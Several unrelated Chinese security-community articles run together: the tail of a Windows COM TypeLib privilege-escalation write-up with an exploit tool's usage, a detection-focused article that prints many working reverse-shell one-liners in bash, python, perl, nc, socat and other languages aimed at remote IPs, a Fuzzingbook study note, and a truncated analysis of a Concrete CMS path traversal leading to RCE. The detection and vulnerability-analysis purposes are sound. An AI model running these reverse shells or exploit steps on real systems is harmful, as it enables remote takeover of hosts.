00000000`00001f80 00000000`00000bc4 00000000`0288e560 00000000`002ffbc0 : wshom!CWshExec::Invoke+0x4d 08 00000000`0288cae0 000007fe`ebf79dc7 : 00000000`00000000 00000000`002ffbc0 00000000`00000000 00000000`001758b0 : jscript!CScriptRuntime::Run+0x2e1d 09 00000000`0288e4f0 000007fe`ebf79c09 : 00000000`00000000 00000000`0017c6b0 00000000`00000000 00000000`00000000 : jscript!ScrFncObj::CallWithFrameOnStack+0x187 0a 00000000`0288e700 000007fe`ebf79a25 : 00000000`001758b0 00000000`00000000 00000000`001758b0 00000000`00000000 : jscript!ScrFncObj::Call+0xb5 0b 00000000`0288e7a0 000007fe`ebf7903b : 00000000`0008001f 00000000`001758b0 00000000`00000000 00000000`002f6660 : jscript!CSession::Execute+0x1a5 0c 00000000`0288e890 000007fe`ebf79386 : 00000000`00000000 00000000`001758b0 00000000`00000000 ffffffff`ffffffff : jscript!COleScript::ExecutePendingScripts+0x223 0d 00000000`0288e960 000007fe`eca17186 : 00000000`00000000 000007fe`eca17f9d 00000000`002fc410 01d61e99`4640f6a8 : jscript!COleScript::SetScriptState+0x6e 0e 00000000`0288e990 000007fe`eca17004 : 00000000`002fc400 00000000`002fc400 00000000`002f3ce0 00000000`002f3ce0 : scrobj!ComScriptlet::Inner::StartEngines+0xcf 0f 00000000`0288e9f0 000007fe`eca16dc1 : 00000000`002c95e0 00000000`002fc400 00000000`002f3ce0 000007fe`ff687a01 : scrobj!ComScriptlet::Inner::Init+0x27a 10 00000000`0288ea90 000007fe`eca16caa : 00000000`002f3ce0 00000000`00000000 00000000`00000000 00000000`00000000 : scrobj!ComScriptlet::New+0xca 11 00000000`0288eac0 000007fe`eca220f3 : 00000000`002f62a0 00000000`00249618 00000000`002ce680 00000000`037143d8 : scrobj!ComScriptletConstructor::Create+0x68 12 00000000`0288eb10 000007fe`ff6678d6 : 00000000`03798760 00000000`03718760 00000000`037da9c0 000007fe`fee9b065 : scrobj!ComScriptletMoniker::BindToObject+0x7f 13 00000000`0288eb60 000007fe`ff5669ba : 000007fe`ff68be00 000007fe`ff6608bd 00000000`00000030 000007fe`ff68be30 : ole32!IMoniker_BindToObject_Stub+0x16 [d:w7rtmcomole32oleprx32proxycall_as.c @ 2264] 14 00000000`0288eba0 000007fe`fee9bc86 : 00000000`00000005 00000000`03718760 000007fe`ff687a18 00000000`037da9c0 : ole32!IMoniker_RemoteBindToObject_Thunk+0x2a [o:w7rtm.obj.amd64frecomole32oleprx32proxydaytonaobjfreamd64mega_p.c @ 487] 15 00000000`0288ebe0 000007fe`fedf48d6 : 00000000`0288f248 000007fe`ff66376f 00000000`03715700 00000000`0379a2a0 : RPCRT4!Ndr64AsyncServerCallAll+0x1806 16 00000000`0288f1a0 000007fe`ff660883 : 00000000`00000000 00000000`00000000 000007fe`ff695b80 00000000`03715ea0 : RPCRT4!NdrStubCall3+0xc6 17 00000000`0288f200 000007fe`ff660ccd : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:w7rtmcomrpcndrolestub.cxx @ 1586] 18 00000000`0288f230 000007fe`ff660c43 : 00000000`037da9c0 00000000`0579cb14 00000000`036ce730 000007fe`eca36a40 : ole32!SyncStubInvoke+0x5d [d:w7rtmcomole32comdcomremchannelb.cxx @ 1187] 19 00000000`0288f2a0 000007fe`ff51a4f0 : 00000000`037da9c0 00000000`0361e890 00000000`037da9c0 00000000`00000178 : ole32!StubInvoke+0xdb [d:w7rtmcomole32comdcomremchannelb.cxx @ 1396] 1a 00000000`0288f350 000007fe`ff52d551 : 00000000`00000000 00000000`00000001 00000000`0376e9e0 00000000`03715ea0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:w7rtmcomole32comdcomremctxchnl.cxx @ 1262] 1b 00000000`0288f4e0 000007fe`ff66347e : 00000000`0361e890 00000000`00000000 00000000`03718760 00000000`00000000 : ole32!STAInvoke+0x91 [d:w7rtmcomole32comdcomremcallctrl.cxx @ 1923] 1c 00000000`0288f530 000007fe`ff66122b : 00000000`d0908070 00000000`0361e890 00000000`01d93e30 00000000`03718760 : ole32!AppInvoke+0x1aa [d:w7rtmcomole32comdcomremchannelb.cxx @ 1081] 1d 00000000`0288f5a0 000007fe`ff663542 : 00000000`037da930 00000000`00000400 00000000`00000000 00000000`01d98a30 : ole32!ComInvokeWithLockAndIPID+0x52b [d:w7rtmcomole32comdcomremchannelb.cxx @ 1727] 1e 00000000`0288f730 000007fe`ff52d42d : 00000000`03715ea0 00000000`00000000 00000000`0378f190 00000000`037da930 : ole32!ComInvoke+0xae [d:w7rtmcomole32comdcomremchannelb.cxx @ 1469] 1f 00000000`0288f760 000007fe`ff52d1d6 : 00000000`0361e890 00000000`037da938 00000000`00000400 00000000`00000000 : ole32!ThreadDispatch+0x29 [d:w7rtmcomole32comdcomremchancont.cxx @ 298] 20 00000000`0288f790 00000000`77639bd1 : 00000000`00000000 00000000`00000000 00000000`00000000 b2698378`e8b9daaa : ole32!ThreadWndProc+0xaa [d:w7rtmcomole32comdcomremchancont.cxx @ 654] 21 00000000`0288f810 00000000`776398da : 00000000`0288f970 000007fe`ff52d12c 000007fe`ff6c5780 00000000`006c4200 : USER32!UserCallWinProcCheckWow+0x1ad 22 00000000`0288f8d0 000007fe`ff52d0ab : 00000000`000b0098 00000000`000b0098 000007fe`ff52d12c 00000000`00000000 : USER32!DispatchMessageWorker+0x3b5 23 00000000`0288f950 000007fe`ff653e57 : 00000000`0361e890 00000000`00000000 00000000`0361e890 000007fe`ff513032 : ole32!CDllHost::STAWorkerLoop+0x68 [d:w7rtmcomole32comobjactdllhost.cxx @ 957] 24 00000000`0288f9b0 000007fe`ff500106 : 00000000`0361e890 00000000`036d6510 00000000`00000000 00000000`00000000 : ole32!CDllHost::WorkerThread+0xd7 [d:w7rtmcomole32comobjactdllhost.cxx @ 834] 25 00000000`0288f9f0 000007fe`ff500182 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThread::WorkerLoop+0x1e [d:w7rtmcomole32comdcomremthreads.cxx @ 257] 26 00000000`0288fa30 00000000`7773652d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThreadCache::RpcWorkerThreadEntry+0x1a [d:w7rtmcomole32comdcomremthreads.cxx @ 63] 27 00000000`0288fa60 00000000`7786c521 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd 28 00000000`0288fa90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21 我的漏洞利用工具测试方式如下,需要管理员运行 1.只适用Windows7系统直接运行,无参数,替换默认Typelib MyComEop.exe 2.替换指定接口TypeLIb文件路径的Com组件TypeLIb,比如C:xxx.dll MyComEop.exe [u] [TypeLib_Path] 3.替换指定接口IID的Com组件TypeLIb,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc} MyComEop.exe [u] [IID_Interface] 4.高级模式接口IID=[IID_Interface],接口名称=[InterfaceName],接口的TypeLib_GUID=[TypeLib_GUID_Interface],接口TypeLIb文件路径=[TypeLib_Path] MyComEop.exe [u] [IID_Interface] [InterfaceName] [TypeLib_GUID_Interface] [TypeLib_Path] 5.不替换文件,仅测试指定接口IID的Com组件TypeLIb利用,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc} MyComEop.exe [t] [IID_Interface] ## 运行效果 出于安全因素考虑,笔者无法提供完整的exp项目代码,有兴趣的读者可以通过代码片段自己尝试还原完整exp,以下是笔者exp运行的效果,如图: ## 相关项目 [Windows CardSpace服务反编译工程](https://gitee.com/cbwang505/Windows_CardSpace_Service) [我的ole32逆向工程](https://gitee.com/cbwang505/MyOle32ReverseEngineering) [我的漏洞利用工具](https://gitee.com/cbwang505/TypeLibUnmarshaler) [符号链接工具](https://github.com/googleprojectzero/symboliclink-testing-tools) ## 相关引用 [CVE-2020-1066](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1066) ## 参与贡献 作者来自ZheJiang Guoli Security Technology,邮箱[[email protected]](mailto:[email protected])
社区文章
### 前言 难免有时候网站会存在命令执行、代码执行等漏洞可能被黑客反弹shell，如何第一时间发现反弹shell特征，kill掉相应进程，保护主机安全呢？ 本文主要探究一下主机反弹shell有哪些特征，为HIDS检测主机反弹shell行为提供一些思路。 ### 类型一 #### bash反弹 先从最常规的开始举个例子。 bash -i >& /dev/tcp/ip/port 0>&1 原理简单说一下，本地打开bash将标准输出、标准错误输出、标准输入通过socket链接重定向至远程 `>&`作用就是混合输出（错误、正确输出都输出到一个地方） /dev/tcp|udp/ip/port 可以看作是一个远程设备，所有重定向到该设备的信息 都会被转发至 ip：port 对应的远程设备 另外至少需要把标准输出流，标准输入流定向至远程，也就是远程输入命令 执行结果定向至远程，形成一个回路，也就是交互式shell。 查看一下进程的文件描述符： 可以看到0，1，2文件描述符都被重定向至远程socket链接，lsof看一下bash进程： 此时我们打开本地再打开一个bash，lsof命令查看一下进程描述符： 可以看到正常情况下文件描述符指向/dev/pts/0（因为linux下一切皆文件，这个文件就代表伪终端或虚拟终端）而反弹shell的情况下文件描述符都是指向远程socket链接，同时用户可能是www、www-data、apache、nginx等用户 补充：为什么每个bash进程都会有0，1，2三个文件描述符？ shell会继承父进程的文件描述符，因此所有的shell都会默认有这三个文件描述符 以后再打开文件，描述符依次增加（0，1，2分别代表标准输入，标准输出和标准错误输出） 这是反弹shell最常见的特征，就是bash进程中的输入输出文件描述符被定向到远程socket链接，下面我们看看常见的其他反弹shell方法： #### python反弹 python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" s.fileno() 查看建立socket链接返回的文件描述符是3 使用duo2方法将第二个形参（文件描述符）指向第一个形参（socket链接） 接下来使用os的subprocess在本地开启一个子进程，启动bash交互模式，标准输入、标准输出、标准错误输出被重定向到了远程 lsof命令查看一下： 特征与上面基本一致，也是输入输出流被重定向到了远程socket链接 #### perl反弹 perl -e 'use Socket;$i=”10.211.55.2";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 特征与上面基本一致 #### nc反弹shell nc -e /bin/bash 127.0.0.1 7777 如果执行上面命令提示没有-e 选项，可能因为版本是openbsd，可以手动指定nc.traditional lsof发现与上面的基本相同，这种都是属于同一种类型的，类似的还有： ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’ echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go php –r 'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/7777")’ r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" 等等，上面都属于同一种类型，就是直接把bash文件描述符重定向至远程socket链接。 ### 类型二 #### 基本例子 下面看一下另一种类型，不同进程之间通过管道相连接，最后通过多次管道定向至bash的输入输出。 随便举个简单例子nc通过管道将远程的输入流定向至/bin/bash /bin/nc.traditional 10.211.55.2 7777 | /bin/bash 命令的意思是接受来自远程的数据通过管道作为bash的输入 lsof命令看到0也就是标准输入是来自管道，通过id追踪到管道另一端的进程 看到另一个进程有一个socket的远程连接，也就是通过远程接受命令，然后通过管道传输给bash进程执行 也就是说输入输出中间可能会经历多层管道，但最终一定会定向到远程的socket链接，pipe[387461] 最终还是被重定向至socket链接，中间需要根据id追踪一下管道两边的进程，完整过程如下，贴一张图就不做解释了： 补充：解释一下pipe和fifo在linux里还是有点区别的： pipe是创建管道（匿名）的函数，管道（匿名）是内核中的一个单向数据通道，管道有一个读端和一个写端。一般用于父子进程之间的通信。 fifo是命名管道也被称为FIFO文件，它是一种特殊类型的文件，它在文件系统中以文件名的形式存在（因为多个进程要识别），它的行为却和之前匿名管道类似（一端读一端写），但是FIFO文件也不在磁盘进行存储。一般用于进程间的通信。 #### nc rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 110.211.55.2 7777 >/tmp/f mkfifo 命令首先创建了一个管道，cat 将管道里面的内容输出传递给/bin/sh，sh会执行管道里的命令并将标准 输出和标准错误输出结果通过nc 传到该管道，由此形成了一个回路 补充： <https://blog.csdn.net/qq_42914528/article/details/82023408> lsof可以看到0，1，2文件描述符全部被重定向到了管道，通过id追踪一下管道另一端的进程 找到cat进程，发现一个进程名描述符指向文件，上面命令中已经有了体现，继续通过id追踪 找到了nc进程，发现nc有对外socket链接，也就是说nc接受命令通过cat传给bash执行。 #### telnet反弹shell mknod a p; telnet 10.211.55.2 7777 0<a | /bin/bash 1>a telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555 与上面的类型，方法基本一样不做赘述。 总结一下第二种类型的反弹shell：0，1，2标准输入输出、错误输出流被指向pipe管道，管道指向到另一个进程会有一个对外的socket链接，中间或许经过多层管道，但最终被定向到的进程必有一个socket链接。 ### 类型三 #### socat反弹shell 可以看作是netcat增强版，Ubuntu下默认不预装 反弹命令 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999 监听命令 socat file:`tty`,raw,echo=0 tcp-listen:9999 补充：SOCK_DGRAM 是无保障的面向消息的socket，主要用于在网络上发广播信息。 可以看出这种类型与上两种是有区别的bash通过管道与socat进程通信，但是管道并不是重定向的标准输入输出、标准错误输出这三个流而是其他的流，然后在程序内部再将该pipe管道定向到0，1，2这三个文件描述符。 这就是第三种基本类型特征。 #### 类型四 #### msf生成payload反弹shell 这里以生成python为例，其他例如php等原理上都一样，生成payload受害主机上执行。lsof查看进程描述符的情况。 可以看到python开启了一个远程socket链接，但是没有任何pipe管道指向bash进程，查看msf生成的payload可知只是返回了一个相当于代码执行，并不是真正意义上的交互式shell。 反观其特征就是一个正常进程对外有一个socket链接，特征不足，这种并不好检测。 #### dns_shell&icmp_shell 网上有很多开源的反弹shell的比如： <https://github.com/ahhh/Reverse_DNS_Shell> 正常shell走的是tcp或者udp协议，而他们走的是dns、icmp协议，在流量上做到了很好的伪装，但是在基于主机检测面前和上面的例子本质上是一样的。 lsof命令查看进程信息： 与上面情况基本一直，必须使用定制化的客户端，相当于代码执行上的一层封装。 ### 总结 再往下总结甚至可以列出第五种类型，比如client端接受server端命令，新开一个bash子进程进行命令执行等等，骚操作层出不穷。 从主机防护角度来讲，特征的高覆盖率势必对应着高误报，总要从这之间找到一个平衡点。 但是回过头来仔细想想，从一个黑客的角度出发，是不是会从最简单的反弹shell方法开始尝试，那当他第一步尝试失败的时候我们已经抓到了入侵动机，并及时采取了措施。
社区文章
# Fuzzingbook学习指南Lv4 | ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 上一篇内容中我们引入了多路径探索、模式更新等内容，这次我们会引入新的思路，并且尝试特定路径上的搜索。 首先要明确一点，因为上一篇中我们引入了“现有模式变异后不仅仅作为fuzzing输入，还作为新加入模式”这一重要的观点，所以我们在提到模式变异时，不单单要考虑作为输入的问题，也要记得它是新加入的模式。 ## 函数级别与函数距离 在之前文章中，我们思考的往往是代码级别的问题，比如代码覆盖率，就是看我们走过了多少代码，但实际上，我们操作时经常会把粒度放大到函数级，以函数(这里的提到的函数都是用户级的函数)之间的关系来思考问题，来看个例子： my_input() 用户 = verify() if 用户 == asa9ao: flag() else: byebye() 对于这样的代码，不管是软件测试或者搞安全的，第一反应其实都是去找函数调用处下断点，一旦程序运行到了我们想找的函数，后面基本上就是阳关大道了，而对于函数里面具体的代码我们反而不是很关心。这样的思维带来了两大好处： * 程序的逻辑结构更加清晰。几千行的代码可能只有十几个函数，逻辑上一下子就简单了。 * 测试上方便简单，原本几千行代码你需要“平等”对待，现在你可以先测函数，没问题的函数丢一边，有问题的找到对应函数里的代码再进行“重点照顾”。 可以看到，粒度变大后，实际上就类似“分组”的概念，组间先进行操作，组内后操作，如果遇到非常简单，一个函数写到底的代码，我们也可以把它当作一个组，再组内测试即可，实际上就退化为了我们前几篇文章所讲的情况。我们可以将之前代码级别的概念，全都放在这个组内操作。 说了这么多，函数之间我们又该进行哪些操作呢？首先，代码级别的概念我们可以统统继承过来： * 代码覆盖率变为函数覆盖率，调用了多少代码改为调用了几个函数 * 路径执行频率中的路径统计的不再是代码，而是函数 当然你可能会说，那会不会有人写代码，重点代码不写几个函数，反而是不重要的代码函数一堆呢？首先正经人写代码肯定不会这么写，其次我们在Lv3文章中已经让我们的代码获得了多路径探索的能力，实际上我们在函数层面是一样的，我们仍然会是每个路径的调用都处于一个水平线上，所以并不会有什么影响。 此外，由于函数级别逻辑结构简单了，我们就可以计算一些新玩意了——函数距离。下面的图片中展示了上面程序的函数调用图： 我们假设我们要找的函数是flag，我们已经走到了verify，那我们的函数距离就是1，而对于flag和bye这俩函数，因为没有路径连接他俩，所以我们可以直接设置为-1或者其他值，表示不可能到达即可。这样我们就可以定向计算我们所处的位置与目标位置的距离了。 那么有同学就会问了：为什么我们不在代码级别计算呢？其实很简单——麻烦。我们假设我们要找的代码是bye中的某一行printf，假设verify有1000行代码，我们在每一步都计算一次的话就要储存1000个距离，而显然这里面大部分的距离都是重复且无效的。 那么又有同学要问了：代码级别的覆盖率什么的都好说，我们得到源代码后就可以直接算了，函数级别咋整呢？其实我们在Lv3中就完成了这些工作了！我们利用ast能够获得每一句代码的node，而node中on_functiondef就是函数的开头，我们只需要对上一篇文章中提到的cfg技术进行略微的改进就可以计算函数距离了。 我们接下来就把函数距离引入我们的调度器，让调度器可以进行指定函数的探索，我们先来定义模式距离的概念： i表示模式，t表示目标函数，s表示函数，｜CG｜是所有节点的数量，我们再计算模式的energy就可以使用这个了，下面是fuzzingbook的代码： def assignEnergy(self, population): for seed in population: if not hasattr(seed, 'distance'): num_dist = 0 sum_dist = 0 for f in self.__getFunctions__(seed.coverage): if f in list(distance): sum_dist += distance[f] num_dist += 1 seed.distance = sum_dist / num_dist seed.energy = (1 / seed.distance) ** self.exponent 其中，sum_dist就是保存了f的距离，而num_dist就代表了CG图中所有节点的数量，最后用了类似我们上一篇文章的反函数来得到energy，其中的exponent依然是可以调整的参数。 但是上面的想法显然是有“漏洞”的，因为距离这个东西本身是没有限制的，我们可以假定它的取值范围是0到无穷大，这里的无穷大不代表不能到达，而是我们的距离却是是存在要多大有多大的情况，这种情况下，我们的energy会由于“贫富差距”过大，而导致有些合法的路径“饿死”了。比如，按照我们上一篇文章的概率计算方式，因为energy差距过大，会导致概率向energy大的一方严重倾斜，即使不被饿死，也和我们的初衷相悖，所以我们可以再简单处理一下： 公式看着复杂，实际上就是简单的进行了归一化，将d的范围锁定在了0-1的范围内。fuzzingbook中给出了一个迷宫的例子，因为涉及代码过多，就不再演示了，实际跑一下会发现，经过我们的操作，效率大大提高。 ## 广义距离与搜索空间 有了上面的距离，我们可以找到模式与我们想要的目标之间的“差距”，而有了这个距离我们能不能有更好的方法去探索呢？如果你曾经接触过数学建模或是机器学习的知识，那你一定可以想到，我们可以利用优化的思路解决问题，我们把距离看作是loss，我们来优化模式，假设模式是由参数组成的，我们调整这些参数，计算出loss，通过改变我们的模式，不断的降低loss，最终找到loss为0的模式，也就找到了通往目标的大道。当然，这里的距离是可以根据情况具体设置的，只要可以体现与目标之间的差距即可。 我们来看fuzzingbook给出的例子： def test_me(x, y): if x == 2 * (y + 1): return True else: return False 这里我们假设要探索的目标是True，这里我们为了简单期间，我们直接把输入的数当作模式，不进行模式的变异，而距离由于它是判断两个值是否相等，我们可以进行简单的移项，得到x -2 _(y + 1)是否等于0，那么loss我们就可以直接视作是x -2_ (y + 1)的绝对值即可。我们随机用两个数，比如2和4，很自然就可以算出，loss为8，那么下一步我们就可以进行优化了。 首先我们定义一个搜索空间的概念，其实就是模式的“变异”范围，你可以认为模式能够进行1000次变异，那么这1000次变异组成的所有模式就都是你对于这个模式的搜索空间了，当然，这也需要根据实际情况调整，比如我们的例子中，输入就是两个数组成的元组，那么我们就可以认为，这两个数的相邻的1000个数自由组合，组成的1000*1000个元组就是我们对于这个模式的搜索空间。每个模式的搜索空间加起来，就得到了我们总体的搜索空间，当然，为了搜索空间不会无限膨胀下去，一般我们也会设置搜索空间的边界，比如这个例子中我们可以设置x不超过1w。 def neighbours(x, y): return [(x + dx, y + dy) for dx in range(-500,500) for dy in range(-500,500)] 接下来我们就在搜索空间上进行优化了，有一种著名的方式叫做Hillclimbing算法，我们可以把我们的搜索空间想象成地面，把损失想象成“高度”，搜索空间无数的“高度”就组成了一个山峰，我们随机生成的点就在山峰的一个点，我们环视四周，找到第一个比现在低的地方，我们就去到那个点，持续这个过程，我们的loss就会不断降低。 def hillclimber(x,y): loss = get_loss(x,y) while loss > 0: iterations += 1 for (nextx, nexty) in neighbours(x, y): new_loss = get_loss(nextx, nexty) if new_loss < loss: x, y = nextx, nexty loss = new_loss break print(x, y) 当然，这样的思考是有问题的，你可以想象这样的情况： * 你在山上，看看周围，发现右边就比现在的地方低，于是你去了右边，你不停的往右边去，结果最终右边泥石流，下不了山，困住了；左边虽然看起来是比现在高一些，但是向左爬一会后是个悬崖，你直接跳下去就完事了。 * 你一步步的看，看到哪走哪，最终走了好久才下山；别人拿望远镜，一下子就找到了视野范围里最低的路径，每次直接走到那 第一个问题我们其实是没有很好的办法解决的，我们只能说是找到一个相对最优解，或者尽可能避免这种情况的出现，但对于第二个问题就很好解决了，我们只需要把上面代码中的break去掉。去掉之后，我们代码的语意就变成：环顾搜索空间，找到搜索空间里最低的点。这种方法能有效的提高效率，并且在一定程度上可以避免第一个问题，因为第二种方法有了“大局观”，不再是傻乎乎的走了。 我们用cgi_decode()（Lv2中可以找到）的例子来看看，他要求我们输入一个字符串，并对字符串进行解析，对于字符串，我们就可以使用变异的手段来定义搜索空间了 def neighbour_strings(x): n = [] for i in range(0,1000) a = mutate_limit(x,i) n.append(a) return n 简单起见，我们这里假设变异就只有就只有字符的更改，没有长度变化，而搜索空间的限制就是字符得是在ascii范围内合法的。 那么问题又来了，我们之前探索的路径是==，这非常简单，我们简单的移项后就得到了优化的目标，像是>=这种比较复杂的我们该怎么办呢？其实也很简单，我们下面就逐个说一下： * ==和!=，实质上一样，True我们使用abs(a – b)即可，False我们使用1 * 大于、小于实质上一样，对于True使用大 – 小 + 1，对与False使用小 – 大即可 * 大于等于、小于等于本质上一样，True就是大 – 小，False就是小 – 大 + 1 为了以后方面使用，我们可以原子化的思想，借鉴Lv3中抽象语法树对于词的拆分，将要评价的目标拆为：左项、比较符、右项， def evaluate_condition(num, op, lhs, rhs): distance_true = 0 distance_false = 0 # 这是展示的==操作 if op == "Eq": if lhs == rhs: distance_false = 1 else: distance_true = abs(lhs - rhs) # 写其他的操作 if distance_true == 0: return True else: return False 那如果出现了像是`if a==b and b==c`这种多条件的情况怎么办呢？其实也很简单： * and，说明两种情况都得成立才行，那我们就选择两种情况中最大的作为距离即可 * or，说明两种情况成立一种即可，有两种思路 * 短路，因为两种都可以，我们就只关心第一种 * 选择两种中的最小的作为距离 * in，判断a是否在b里，实质就是对b中的每一个元素都进行了or操作，所以我们相应的求出b中每一个元素的距离，选择最小的即可。 我们按照上面思路书写代码，即可完成对cgi_decode的测试。 看上去很美好是吧，但是很抱歉，还是有问题，你所看到的美好都是我们假设出来的，这山是我们玩的“假山”，我们假设输入的字符不是ascii，而是utf-8的呢？我们运用改进的Hillclimbing时，是每走一步都要去看周围所有的搜索空间中谁最低，相当于对每一个模式都去开辟了一个搜索空间，一旦搜索空间的单个面积大了，这玩意加起来的消耗我们可接受不起。那我们还有办法吗？说实话，没有完全的办法，我们只能是使用一些讨巧的方式减少消耗： * 限制迭代，简单说就是限制你下山走的次数，你走10步下不来就下不来吧，咱直接说再见。 * 找路时只看一部分，不全看，比如本来走一步要开辟100×100的空间，那我不开了，我就开10个，我就选10个里面最小的走。这其实就是把我们改进后的Hillclimbing又改回去了，算是一种折中方案 * 掷骰子，我随机选一条路，看能不能走，能走就走，不能走就不走接着随机。这是一种非常讨巧的方法，完全规避了搜索空间庞大的问题，甚至不用求搜索空间，只用求随机出来的模式的距离即可。代码就更好写了，用我们现成的变异函数即可，每次选路时进行一次变异，变异的距离小，就走这个。 上面都是对Hillclimbing算法的改进，但无论怎么改，我们还是没法从本质上改善算法的缺陷，最好的方法就是换方法，我们选个别的算法来进行优化。 fuzzingbook上给我们介绍了一种遗传算法来解决问题，其关键函数长这样： def crossover(parent1, parent2): pos = random.randint(1, len(parent1)) offspring1 = parent1[:pos] + parent2[pos:] offspring2 = parent2[:pos] + parent1[pos:] return (offspring1, offspring2) 函数很简单，把俩字符串拆开，各挑一部分再拼起来。实际上这是在模拟遗传的过程，我们的字符就相当于基因，字符串就是染色体，在繁殖后代时，父母会各自给后代一部分的染色体。 那么父母是怎么来的呢？很简单，物竞天择，适者生存。我们先随机生成一部分字符串，选择其中loss（别忘了loss就是上面求的距离）最小的一部分，让他们进行“繁殖”，模拟优秀基因的传递过程，这样，通过把优秀基因不断的传递下来，我们的字符串的loss就会越来越低。 当然，生物学告诉我们，新的性状不会凭空产生，都是基因变异的结果，这个过程中我们同样需要考虑基因变异的问题，因为纯粹的遗传，基因没有发生改变，就无法产生新的字符，我们可以使用我们的变异函数，按照一定的概率对基因进行变异，创造出新的基因。 说了这么多，其实本质就是通过降低loss函数，不断优化我们模式的问题。大家可以自由发挥，甚至可以把机器学习、数学统计那部分模型拿过来用，只要是能降低loss，那就是好方法。 ## 总结 这一章开始，体现了大量的知识“联动”，我们一种知识可以放在不同的地方发挥作用，一个概念也可以“两开花”，我们学到的不仅仅是fuzzing，也是对计算机问题的处理思路。 下一篇开始我们将开始新征程，跳出现在的思维，让我们的fuzzing史莱姆更加强大。
社区文章
**前言** 某日逛cve，发现一个后台的rce，挺感兴趣就跟了一下，记录一些当时的过程。 **概况** 参考<https://hackerone.com/reports/1102067>的说法，这是一个Authenticated path traversal to RCE,就还是路径的问题，导致后台在渲染页面的时候包含了可以通过路径穿越抵达的任意文件，造成了rce。 通过描述，bFilename参数是在editing layout design过程中可以通过抓包工具进行赋值，在后台渲染页面返回给前端的时候包含了该文件，前提要通过后台上传一个图片格式文件（内含php马），拿到返回路径后通过../../的格式设置路径，从而达到包含。 **主要记录的原因** 这里我复现完之后想看下代码的主要原因在于，渲染过程是如何调用到通过bFilename设置的文件，顺带想想自己如何通过整个流程，拓宽一些代码审计的思路。 **简单分析** **一是设置bFilename：** 观察save layout design的请求，传递了一些重要的参数，bID和cID等，（因为部分截图在记录前，所以实际有出入）并且post bFilename， POST /index.php/ccm/system/dialogs/block/design/submit?ccm_token=1650357492:7676740d3352aabc79c4f5a0be7581d0&cID=230&arHandle=Main&bID=195 HTTP/1.1 Host: www.concretetest.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 383 Origin: http://www.concretetest.com Connection: close Referer: http://www.concretetest.com/index.php?cID=230&ctask=check-out-first&ccm_token=1650357434:13fd818e280cd778e785055e257ed9e6 Cookie: CONCRETE5=0cba5r25gampmlu1glq65fgmk7; CONCRETE5_LOGIN=1; ConcreteSitemapTreeID=1 bFilename=&textColor=&linkColor=&alignment=&backgroundColor=&backgroundImageFileID=0&backgroundRepeat=no-repeat&backgroundSize=auto&backgroundPosition=left+top&borderColor=&borderStyle=&boxShadowColor=&hideOnDevice%5B10%5D=0&hideOnDevice%5B20%5D=0&hideOnDevice%5B30%5D=0&hideOnDevice%5B40%5D=0&customID=&customElementAttribute=&enableBlockContainer=-1&__ccm_consider_request_as_xhr=1 通过路由请求到后台的concrete/controllers/dialog/block/design.php：36 submit() 简单分析一下（多的也不会）：38行鉴权，通过47行获取到了传递进来的参数，68行bFilename进入了$data数组，紧接着调用updateBlockInformation($data) 看注释，这是一个数据库更新的操作，通过bID进行更新，通过这一步就将文件路径写入到数据库中。（文件可以通过后台任意上传功能上传） **二是渲染执行的过程：** 也没有从头开始跟，因为最后是include，所以我就直接把上传的文件改成php后缀，然后在代码执行处打上断点，便直接开始了： 因为返回的过程中只传入了一个参数（后面分析得到也就是cID），这里想看看最后是如何引用bFilename指定的文件。 请求site/index.php/!drafts/229中，在concrete/src/Http/Middleware/DispatcherDelegate.php：39会对请求进行处理： concrete/src/Http/DefaultDispatcher.php：59进一步处理请求： 跟进concrete/src/Http/DefaultDispatcher.php handleDispatch：130： concrete/src/Page/Page.php getFromRequest：476数据库查询语句： $row = $db->fetchAssoc('select pp.cID, ppIsCanonical from PagePaths pp inner join Pages p on pp.cID = p.cID where cPath = ? and siteTreeID in (' . $treeIDs . ')', [$path]); $path通过460行返回，该查询语句实现从请求到返回cID。 然后看返回页面的过程， 